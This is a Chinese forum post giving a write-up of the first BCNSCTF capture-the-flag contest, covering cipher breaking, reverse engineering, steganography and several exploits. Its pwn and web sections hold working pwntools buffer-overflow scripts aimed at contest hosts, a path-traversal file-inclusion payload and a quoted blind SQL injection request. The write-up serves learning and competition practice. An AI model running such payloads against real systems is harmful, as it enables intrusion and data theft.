用户
搜索
  • TA的每日心情
    奋斗
    2018-3-12 19:36
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    安全团队

    Rank: 7Rank: 7Rank: 7

    10

    主题

    15

    帖子

    175

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2016-9-27

    i春秋认证

    发表于 2019-7-11 20:07:04 0979
    第一届BCNSCTFWriteUp
    前言:
    这是第一届BCNSCTF Write Up,觉得其中的CRYPTO有点东西。
    CRYPTO
    three daysoflight
    hint1.吉奥万巴蒂斯塔贝拉索先生的密码
    打开文件,
    ⡹⡷⡩⡧⡋⠁⡗⡯⠁⠅⡯⡊⡨⡄⡠⡩⡯⡜⠄⠅⡓⡯⡳⡝⠉⡅⡑⡯⡢⠀⡘⡯⡍=
    虽然和盲文有点区别,但还是丢去在线解密试一试,得到
    IGYW{1g_15_zXtPY_l45c_Cm9ua_R0h_}
    flag的格式了,但本次比赛前缀是BCNS,所以应该不是flag。知道后续给出了hint,一查,原来就是维吉尼亚密
    码。虽然不知道密钥,但可以根据flag的前缀BCNS和加密表反推出密钥。
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps3.png  
    Write Up(1)777.png

    IGYW推到BCNS可以得到密钥HELE,然后方法1:脑洞一下,这一题题目是three days of light,可以想到海伦凯
    勒,所以密钥就是HELEN。方法2
    根据IGYW{1g_15_zXtPY_l45c_Cm9ua_R0h_},其中的15可以推测是is,所以ig这里可能是itg->t,密钥是E
    解密后得到flagBCNS{1t_15_sTiLL_e45y_Ri9ht_N0w_}
    Hill
    题目描述: 密文:AUJPSOADUIWAAMYOKQNTRLKY 明文中包含BABYHILLS
    给了一波学习资料:
    希尔加密的原理:
    0-25 分别代表 A-Z
    然后
    密钥 X 明文 = 密文 mod 26
    根据线性代数的知识,密钥 = 明文的逆矩阵 X 密文 mod 26
    这里的关键就是求明文的逆矩阵;
    根据线性代数的知识,明文的逆矩阵等于明文的伴随矩阵除以 明文的行列式
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps4.png  


    但是再 mod 26 的情况下,
    明文的逆矩阵等于明文的伴随矩阵除以明文的行列式
    等价于
    明文的逆矩阵等于明文的伴随矩阵乘以明文的行列式分之一
    而行列式分之一再 mod 26 下,是多少呢?
    这里用到模逆元的知识
    即,行列式的逆 乘以 行列式 mod 26 = 1
    这里我们可以用循环求解法,再1 25 中检查,是否有满足上式的值;若没有,则说明该行列式在 26 下,不可
    逆。
    回到题目。已知密文AUJPSOADUIWAAMYOKQNTRLKY,已知明文BABYHILLS。不确定的是,明文对应的密文是哪
    几位。这就只能每一种可能都试过来。一共有24-9+1=16种可能。由于其中某些明文组合在26模下不可逆,可以很快
    的排除。
    最终可以得出,AUJPSOADU对应BABYHILLS,密钥为ZXYXUABXL
    随后找一个在线解密网站
    https://www.dcode.fr/hill-cipher
    解密得到flagBCNS{BABYHILLSISSOEASYAMAZING}
    下面有python2的解密脚本,可以得到密钥的逆矩阵,用来加密密文就可逆得明文
    import numpy as np
    from sympy import Matrix
    import string
    alphabet = string.ascii_uppercase
    def convert2matrix(m, dimension):
    for index, i in enumerate(m):
    values = []
    if index % dimension == 0:
    for j in range(0, dimension):
    values.append([alphabet.index(m[index + j])])
    if index == 0:
    m_mat = np.matrix(values)
    else:
    m_mat = np.hstack((m_mat, values))
    return m_mat
    if __name__ == '__main__':
    m = 'BABYHILLS'
    c = 'AUJPSOADU'
    dimension = 3
    unknown_c = 'AUJPSOADUIWAAMYOKQNTRLKY'
    c = convert2matrix(c, dimension)
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps5.png  


    c = Matrix(c)
    c_inv = c.inv_mod(26)
    c_inv = c_inv.tolist()
    m = convert2matrix(m, dimension)
    m = np.matrix(m)
    dec_key = m*c_inv
    dec_key %= 26
    print(dec_key)
    commonRSA
    下载得到公钥、密文和一份加密程序的python文件
    from Crypto.Util.number import getPrime, isPrime
    flag = 'BCNS{***************}'
    nbits = 2048
    gbits = 1000
    g = getPrime(int(gbits))
    while True:
    a = getPrime(int(nbits * 0.5) - gbits)
    p = 2 * g * a + 1
    if isPrime(p):
    break
    while True:
    b = getPrime(int(nbits * 0.5) - gbits)
    q = 2 * g * b + 1
    if p != q and isPrime(q):
    break
    N = p * q
    e = 65537
    def str2int(s):
    return int(s.encode('hex'), 16)
    with open('pubkey.txt', 'w') as f:
    f.write(str(e) + '\n')
    f.write(str(N) + '\n')
    plain = str2int(flag)
    c = pow(plain, e, N)
    with open('cipher.txt', 'w') as f:
    f.write(hex(c))
    根据代码可以发现,pq有公因数2g。阅读资料
    http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.33.1333&rep=rep1&type=pdf
    其中
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps6.png  

    Write Up(1)2803.png
    FIRST ATTACK中提到”random“ map x -> xN-1+3 mod N
    还提到了 Pollard‘s ρ method。查得资料:
    https://en.wikipedia.org/wiki/Pollard%27s_rho_algorithm
    其中提到
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps7.png  
    Write Up(1)2951.png

    x =g(x ), x =g(g(x ))
    1
    1
    2
    2
    以及
    再结合之前RSA中取得x的函数g()
    可以构造出脚本
    def gcd(a, b):
    while b:
    a, b = b, a%b
    return a
    def mapx(x):
    x=(pow(x,n-1,n)+3)%n
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps8.png  


    return x
    n=696442533552113410086157319311912715435618133936962478726475390977310251393171924596737623
    07075757132731275549640230207811535392037009379332836127098146781189449492546683808479320523
    00772314378540587970128330601893315239860426649214275605113687385993314799678889695752161719
    77750579032793083889923266876637587489489928481197575923822694448161103699717003596331072407
    30859791792812997850676268227113732924544521525542208093031654945144498947161490945574192619
    16023275543435934504700710691807486624987403212661753584097511318397765786512878210794487249
    2079643737033408856349680277869350387092177233021240502747437806549
    x1=x2=1
    while True:
    x1=mapx(x1)
    x2=mapx(mapx(x2))
    p=gcd(x1-x2,n)
    if (p!=1):
    print(p)
    print(n/p)
    break
    运行后可得p q 的值,随后就是套路取私钥d,然后解密RSA得到: BCNS{w4!_Y0u_4r3_A_gen1u5_!}
    PWN
    签到题
    将文件放入idaf5查看伪代码,发现主要判断函数和唯一输入点
    buf = 0LL;
    v6 = 0LL;
    v7 = 0LL;
    v8 = 0x7FFFFFFFFFFFFFFFLL;
    v9 = 1.797693134862316e308;
    ...
    read(0, &buf, 0x28uLL);
    if ( v8 != 0x7FFFFFFFFFFFFFFFLL || v9 != 0.1 )
    {
    puts("Try again!");
    }
    else
    {
    system("/bin/sh");
    }
    (感觉有点像是web代码审计题)
    然后看一下栈里的布置:(图5)
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps9.png   Write Up(1)4202.png


    思路很简单, read(0,&buf,0x28uLL);这里给了足够长的可输入字符串长度,直接覆盖掉v8v9的值就好了,
    有个问题就是,v9double型,难道真的传入一个0.1??payload在传值都是用的十六进制
    这就与float型数据储存原理有关系了,可以直接拿C跑一下,
    于是构造exp
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps10.png  
    跟图5一致

    from pwn import *
    context.log_level = 'debug'
    p=remote('47.107.60.13',10000)
    p.recvuntil('you.')
    payload = 'A'*24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
    p.send(payload)
    p.recvline()
    p.interactive()
    得到flagflag{2275cffb-bf14-4f73-bd19-1aadd91b7ab8}
    签退题
    将文件放入ida
    !    图6
    Write Up(1)4601.png
    发现gets函数,是一个简单的栈溢出,
    然后查询溢出字节数,用cyclic生成200个字符尝试覆盖,在gdb中运行查看状态 ,发现EIP中是“daab”,baad
    面字符的个数,是112
    然后找找后门函数的地址
    如图6一致
    于是构造exp
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps11.png  


    from pwn import *
    context.log_level = 'debug'
    sh=remote('47.107.60.13',10001)
    getsh = 0x804863a
    sh.recvline()
    sh.send('a'*112 + p32(getsh))
    sh.interactive()
    拿到flagflag{109f833d-060a-43fc-90ab-c54b5b059a6d}
    RE
    简单算法
    题目描述:由于出题不严谨,答案为多解。flag为有意义的字符串
    下载后放入ida运行,进入主函数,
    // local variable allocation has failed, the output may be wrong!
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
    __int64 v3; // rdx@1
    __int64 v4; // rax@1
    __int64 v5; // rdx@1
    unsigned int v6; // eax@7
    unsigned __int64 v7; // rbx@19
    unsigned __int64 v8; // rax@19
    __int64 v10; // [sp+20h] [bp-60h]@1
    __int64 v11; // [sp+28h] [bp-58h]@1
    __int64 v12; // [sp+30h] [bp-50h]@1
    int v13; // [sp+38h] [bp-48h]@1
    __int16 v14; // [sp+3Ch] [bp-44h]@1
    char v15; // [sp+3Eh] [bp-42h]@1
    __int64 v16; // [sp+40h] [bp-40h]@1
    __int64 v17; // [sp+48h] [bp-38h]@1
    __int64 v18; // [sp+50h] [bp-30h]@1
    int v19; // [sp+58h] [bp-28h]@1
    __int16 v20; // [sp+5Ch] [bp-24h]@1
    char v21; // [sp+5Eh] [bp-22h]@1
    char v22[32]; // [sp+60h] [bp-20h]@1
    __int64 v23; // [sp+80h] [bp+0h]@1
    __int64 v24; // [sp+88h] [bp+8h]@1
    __int64 v25; // [sp+90h] [bp+10h]@1
    __int64 v26; // [sp+98h] [bp+18h]@1
    __int64 v27; // [sp+A0h] [bp+20h]@1
    __int64 v28; // [sp+A8h] [bp+28h]@1
    __int64 v29; // [sp+B0h] [bp+30h]@1
    __int64 v30; // [sp+B8h] [bp+38h]@1
    char v31; // [sp+C0h] [bp+40h]@1
    __int64 v32; // [sp+D0h] [bp+50h]@1
    __int64 v33; // [sp+D8h] [bp+58h]@1
    __int64 v34; // [sp+E0h] [bp+60h]@1
    __int64 v35; // [sp+E8h] [bp+68h]@1
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps12.png  


    __int64 v36; // [sp+F0h] [bp+70h]@1
    __int64 v37; // [sp+F8h] [bp+78h]@1
    __int64 v38; // [sp+100h] [bp+80h]@1
    __int64 v39; // [sp+108h] [bp+88h]@1
    char v40; // [sp+110h] [bp+90h]@1
    __int64 v41; // [sp+120h] [bp+A0h]@1
    __int64 v42; // [sp+128h] [bp+A8h]@1
    __int64 v43; // [sp+130h] [bp+B0h]@1
    __int64 v44; // [sp+138h] [bp+B8h]@1
    __int64 v45; // [sp+140h] [bp+C0h]@1
    __int64 v46; // [sp+148h] [bp+C8h]@1
    __int64 v47; // [sp+150h] [bp+D0h]@1
    __int64 v48; // [sp+158h] [bp+D8h]@1
    char v49; // [sp+160h] [bp+E0h]@1
    __int64 v50; // [sp+170h] [bp+F0h]@1
    __int64 v51; // [sp+178h] [bp+F8h]@1
    __int64 v52; // [sp+180h] [bp+100h]@1
    __int64 v53; // [sp+188h] [bp+108h]@1
    __int64 v54; // [sp+190h] [bp+110h]@1
    __int64 v55; // [sp+198h] [bp+118h]@1
    __int64 v56; // [sp+1A0h] [bp+120h]@1
    __int64 v57; // [sp+1A8h] [bp+128h]@1
    char v58; // [sp+1B0h] [bp+130h]@1
    unsigned int v59; // [sp+1B8h] [bp+138h]@7
    int i; // [sp+1BCh] [bp+13Ch]@1
    _main();
    v50 = 'HGFEDCBA';
    v51 = 'PONMLKJI';
    v52 = 'XWVUTSRQ';
    v53 = 'fedcbaZY';
    v54 = 'nmlkjihg';
    v55 = 'vutsrqpo';
    v56 = '3210zyxw';
    v57 = '/+987654';
    v58 = 0;
    v41 = 'fedcba/+';
    v42 = 'nmlkjihg';
    v43 = 'vutsrqpo';
    v44 = '3210zyxw';
    v45 = 'BA987654';
    v46 = 'JIHGFEDC';
    v47 = 'RQPONMLK';
    v48 = 'ZYXWVUTS';
    v49 = 0;
    v32 = 'hgfedcba';
    v33 = 'ponmlkji';
    v34 = 'xwvutsrq';
    v35 = 'FEDCBAzy';
    v36 = 'NMLKJIHG';
    v37 = 'VUTSRQPO';
    v38 = '3210ZYXW';
    v39 = '/+987654';
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps13.png  


    v40 = 0;
    v23 = '76543210';
    v24 = 'DCBA/+98';
    v25 = 'LKJIHGFE';
    v26 = 'TSRQPONM';
    v27 = 'baZYXWVU';
    v28 = 'jihgfedc';
    v29 = 'rqponmlk';
    v30 = 'zyxwvuts';
    v31 = 0;
    v16 = 'EDXZMFAA';
    v17 = 'TGNBRFVC';
    v18 = 'OIKMUJYH';
    v19 = 'BAPL';
    v20 = 'Yh';
    v21 = 0;
    v10 = 'kkc5gIc/';
    v11 = 'pYH15Xhw';
    v12 = 'gE5UkjAx';
    v13 = 'MnxM';
    v14 = 'tU';
    v15 = 0;
    i = 0;
    scanf(*(_QWORD *)&argc, argv, v22);
    LODWORD(v4) = strlen(*(_QWORD *)&argc, argv, v3);
    if ( v4 != 30 )
    ExitProcess(argc);
    for ( i = 0; ; ++i )
    {
    v7 = i;
    LODWORD(v8) = strlen(*(_QWORD *)&argc, argv, v5);
    if ( v7 >= v8 )
    break;
    if ( v22 != 127 && v22 > 32 )
    {
    v5 = (unsigned int)(v22 - *((_BYTE *)&v16 + i));
    if ( v22 - (signed int)*((_BYTE *)&v16 + i) > 0 )
    {
    v6 = (unsigned int)((v22 - (signed int)*((_BYTE *)&v16 + i)) >> 31) >> 30;
    v5 = (((_BYTE)v6 + v22 - *((_BYTE *)&v16 + i)) & 3) - v6;
    v59 = (((_BYTE)v6 + v22 - *((_BYTE *)&v16 + i)) & 3) - v6;
    if ( v59 == 1 )
    {
    v5 = *((_BYTE *)&v41 + v22 - (signed int)*((_BYTE *)&v16 + i));
    v22 = v5;
    }
    else if ( (signed int)v59 > 1 )
    {
    if ( v59 == 2 )
    {
    v5 = *((_BYTE *)&v32 + v22 - (signed int)*((_BYTE *)&v16 + i));
    v22 = v5;
    }
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps14.png  


    else if ( v59 == 3 )
    {
    v5 = *((_BYTE *)&v23 + v22 - (signed int)*((_BYTE *)&v16 + i));
    v22 = v5;
    }
    }
    else if ( !v59 )
    {
    v5 = *((_BYTE *)&v50 + v22 - (signed int)*((_BYTE *)&v16 + i));
    v22 = v5;
    }
    }
    }
    }
    for ( i = 0; i <= 29; ++i )
    {
    v5 = (unsigned __int8)v22;
    if ( (_BYTE)v5 != *((_BYTE *)&v10 + i) )
    {
    printf(*(_QWORD *)&argc, argv, v5);
    ExitProcess(argc);
    }
    }
    return printf(*(_QWORD *)&argc, argv, v5);
    }
    整理伪代码后发现加密思路如下:
    有四个用来取值得容器,
    doc0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    doc1='+/abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    doc2='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
    doc3='0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    然后有一个keyflag的每一位与key的对应位相减,等到的差值,和3按位与运算,按位与是多少,就在相应doc的里
    找第几位字符。比如:flag第一位如果是Bkey第一位是A,相差1,与31,则找doc1[1],是 /
    一次类推,于是构造脚本:
    key0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    key1='+/abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    key2='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
    key3='0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    flagc='/cIg5ckkwhX51HYpxAjkU5EgMxnMUt'
    key ='AAFMZXDECVFRBNGTHYJUMKIOLPABYh'
    for j in range(30):
    for i in range(65,126):
    try:
    if (flagc[j]== key0[i-ord(key[j])] and (i-ord(key[j]))&3==0):
    print(chr(i),end="")
    if (flagc[j]==key1[i-ord(key[j])] and (i-ord(key[j]))&3==1):
    print(chr(i),end="")
    if (flagc[j]==key2[i-ord(key[j])] and (i-ord(key[j]))&3==2):
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps15.png  


    print(chr(i),end="")
    if (flagc[j]==key3[i-ord(key[j])] and (i-ord(key[j]))&3==3):
    print(chr(i),end="")
    except:
    pass
    print("")
    #BCNS{this_is_a_easy_algorithm}
    得到结果:
    Write Up(1)10593.png
    存在多解,但根据提示,flag为有意义的字符串,即为:BCNS{this_is_a_easy_algorithm}
    EASY_XOR
    这道题最后才解出来,确实不难,操作有点s~
    hint1:谁说python不能生成.exe
    hint2Pyinstaller
    于是面向搜索引擎,发现Pyinstaller是一种将.py文件转换成.exe文件的工具。所以本题的main.exe其实是main.py
    对。于是寻找能反编译这样的由.py转化成的.exe文件的方法。发现了一个工具pyinstxtractor
    https://www.lizenghai.com/archives/898.html
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps16.png  


    下载得到工具后将main.exe反编译得到文件夹,查看文件夹中内容发现
    图7
    Write Up(1)11064.png
    于是在线发编译,发现编译失败,寻找原因,参考
    https://wcf1987.iteye.com/blog/1672542
    了解到:
    如图7
    于是我自己编译一个pyc,查看文件头,再将这个pyc文件的文件头覆盖掉。再次反编译,成功,得到:
    if __name__ == '__main__':
    a = 'flag!iS_not&here,getit'
    b = [36,47,47,52,90,32,12,107,3,48,21,121,26,86,19,41,115,33,9,53,14,9]
    flag = input('please input the flag:')
    for i in range(len(a)):
    if ord(a) ^ ord(flag) == b:
    continue
    continue
    print('No!')
    exit()
    print('you get it!')
    简单的xor加密,由于xor可逆,直接更改脚本为
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps17.png  


    if __name__ == '__main__':
    a = 'flag!iS_not&here,getit'
    b = [36,47,47,52,90,32,12,107,3,48,21,121,26,86,19,41,115,33,9,53,14,9]
    flag = input('please input the flag:')
    for i in range(len(a)):
    print(chr(ord(a) ^ b),end="")
    运行得到flagBCNS{I_4m_a_r3aL_FlAg}
    单纯来讲异或加密,这只是一道入门的逆向题。
    但这道题让选手们了解到了py也可以编译成.exe文件,并且可以利用工具进行反编译。也意识到了,编译成pyc文件
    的不安全性,如果编译成pyd文件,pyd的反编译难度是相当高的。
    WEB
    WarmUp
    进入网站,f12,发现注释:
    Write Up(1)11791.png
    进入sorce.php发现源码:
    <?php
    highlight_file(__FILE__);
    class emmm
    {
    public static function checkFile(&$page)
    {
    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
    if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
    return false;
    }
    if (in_array($page, $whitelist)) {
    return true;
    }
    $_page = mb_substr(
    $page,
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps18.png  


    0,
    mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
    return true;
    }
    $_page = urldecode($page);
    $_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
    return true;
    }
    echo "you can't see it";
    return false;
    }
    }
    if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])
    ) {
    include $_REQUEST['file'];
    exit;
    } else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
    ?>
    先进入hint.php,发现:flag not here, and flag in ffffllllaaaagggg
    得到了flag的位置,那么应该是考任意文件包含漏洞
    审计代码得到:
    要设定page的值,且内容要在whiteList
    mb_substr($page,0,mb_strpos($page.'?','?'))表示截取page中?之前的内容
    接着对$page进行一次URLdecode之后,再判断一次。(这里有个疑问,为啥不前面直接判断成功,返回true,而要
    再布置一个URLdecode呢?)
    最后file的值为一个字符串 checkfile返回真值 就能包含文件file
    所以最终payload
    http://47.107.60.13:18002/?file=source.php?../../../../../ffffllllaaaagggg
    得到flag
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps19.png  


    MISC
    签到题
    打开得到文件,
    Write Up(1)12968.png
    从开头的data:image/png;base64可以判断是一张图片的base64编码,
    在线解码后是一张二维码,扫码得到flagBCNS{It_1s_e45Y_R19ht_?}
    签退题
    下载得到一份pyc文件;在线反编译之后得到一份python画图程序:
    from turtle import *
    from time import sleep
    def go_to(x, y):
    up()
    goto(x, y)
    down()
    def big_Circle(size):
    speed(10)
    for i in range(150):
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps20.png  


    forward(size)
    right(0.3)
    def small_Circle(size):
    speed(10)
    for i in range(210):
    forward(size)
    right(0.786)
    def line(size):
    speed(1)
    forward(51 * size)
    def heart(x, y, size):
    go_to(x, y)
    left(150)
    begin_fill()
    line(size)
    big_Circle(size)
    small_Circle(size)
    left(120)
    small_Circle(size)
    big_Circle(size)
    line(size)
    end_fill()
    def arrow():
    pensize(10)
    setheading(0)
    go_to(-400, 0)
    left(15)
    forward(150)
    go_to(339, 178)
    forward(150)
    def arrowHead():
    pensize(1)
    speed(5)
    color('red', 'red')
    begin_fill()
    left(120)
    forward(20)
    right(150)
    forward(35)
    right(120)
    forward(35)
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps21.png  


    right(150)
    forward(20)
    end_fill()
    def main():
    pensize(2)
    color('red', 'pink')
    heart(200, 0, 1)
    setheading(0)
    heart(-80, -100, 1.5)
    arrow()
    arrowHead()
    go_to(400, -300)
    write('Love you !', True, 'left', ('\xe5\xae\x8b\xe4\xbd\x93', 30, 'normal'), **None)
    done()
    main()
    运行之后得到:
    Write Up(1)13915.png
    发现并没有任何flag的痕迹。考虑到这是一道misc而不是逆向,于是面向谷歌查pyc隐写。
    查到
    https://www.ctolib.com/topics-112223.html

    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps22.png  
    Write Up(1)14044.png

    下载工具,运行得到
    base64解码得到flagBCNS{H3lL0_Nic3_t0_m33t_y0U!}
    简单的分析
    hintsql注入
    下载得到一份16M流量包,打开,追踪TCP流,直接跳到最后一条想看看有多少条,发现一共有1583条,
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps23.png  
    Write Up(1)14368.png

    发现payloadflag字样,解码得到:
    GET /vulnerabilities/sqli_blind/?id=test' AND (SELECT * FROM (SELECT(SLEEP(1-
    (IF(ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag ORDER BY flag LIMIT
    0,1),24,1))>1,0,1)))))Jnas)-- ivsD&Submit=Submit
    应该是sql的注入语句,搜得资料
    https://blog.csdn.net/think_ycx/article/details/51453855
    重点是这里,
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps24.png  
    Write Up(1)14948.png

    他会用=确认,我试着往前追踪流,发现在第1580条的payload解码后为
    GET /vulnerabilities/sqli_blind/?id=test' AND (SELECT * FROM (SELECT(SLEEP(1-
    (IF(ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag ORDER BY flag LIMIT
    0,1),23,1))!=125,0,1)))))Jnas)-- ivsD&Submit=Submit
    即可以确定第23个字符的ascii码为 },于是继续往前追踪TCP流,找=
    最终得到flagflag{I_Am_f1ag_G0t_me!}
    Legends Never Die
    做为MISC的压轴题,还是有点东西。
    一个tis:winrar压缩,选择存储型压缩。
    三个hints
    foremost也有看不见的时候。
    word的文件头有点熟悉啊~
    看看雪里藏了写啥?
    下载得到一张图片,丢进010editor,发现最底下发现藏了一个压缩包。拿出来发现有密码,六位数字爆破、伪加密
    都不是。后来放出hintforemost也有看不见的时候。
    联想到西湖论剑线下赛的misc,搜索图片的文件尾,发现还藏了一张图片,只不过文件头被改了,
    图8
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps25.png  
    Write Up(1)15182.png

    拿出来得到一张图片,结合提示:用winrar压缩,选择存储型压缩。猜测是明攻击。
    解密后得到一份hint.docx,打开发现:如图8
    发现第二行末尾有个回车符号,于是全选更改字体颜色,发现隐藏的字:
    LSBWITHPASSWORD
    有密码的LSB,那需要工具解密了。那密码是?
    后来放出hint
    word的文件头有点熟悉啊~
    联想到word也是压缩包,于是将后缀改为zip,打开发现文件webSettings.xml打不开,于是放进010editor
    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps26.png  
    Write Up(1)15442.png

    应该是snow加密,将20(空格)转为009(换行符)转为1,二进制转ASCII得到Le93nD
    密码得到了,LSB的是那张图片呢?测试过后发现是第一张下载再来的那张图片,用工具和密码Le93nD提取隐写得
    flagBCNS{Dis4st3r_1s_alw4ys_0ne_st3p_sl0w3r_Than_m3}
    结语:
    希望大家不要不喜勿喷哦,同事也希望大家支持我们

    file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml1412\wps27.png  
    Write Up(1)309.png
    Write Up(1)1784.png
    Write Up(1)2659.png
    Write Up(1)4042.png
    Write Up(1)6072.png
    Write Up(1)7460.png
    Write Up(1)8619.png
    Write Up(1)10127.png
    Write Up(1)12678.png
    Write Up(1)13542.png
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册